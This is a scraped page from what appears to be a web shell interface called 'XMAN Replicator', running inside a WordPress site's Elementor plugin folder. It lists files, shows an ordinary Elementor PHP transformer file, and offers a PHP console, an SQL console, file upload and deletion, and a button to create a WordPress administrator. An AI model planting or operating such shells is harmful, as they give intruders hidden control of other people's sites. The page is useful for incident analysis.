🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
home
/
vestsxzf
/
public_html
/
wp-content
/
plugins
/
elementor
/
modules
/
variables
/
transformers
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2026-03-27 10:27
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2026-03-27 10:27
🔄
🗑️
🗑️📁
⬇️
🔒
global-variable-transformer.php
684 B
-rw-r--r--
2026-03-27 10:27
✏️
🔄
🗑️
⬇️
🔒
View: global-variable-transformer.php
<?php namespace Elementor\Modules\Variables\Transformers; use Elementor\Modules\Variables\Classes\Variables; use Elementor\Modules\AtomicWidgets\PropsResolver\Transformer_Base; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Global_Variable_Transformer extends Transformer_Base { public function transform( $value, $key ) { $variable = Variables::by_id( $value ); if ( ! $variable ) { return null; } if ( array_key_exists( 'deleted', $variable ) && $variable['deleted'] ) { return "var(--{$value})"; } $identifier = $variable['label']; if ( ! trim( $identifier ) ) { return null; } return "var(--{$identifier})"; } }
PHP Console
Execute
SQL Console
Execute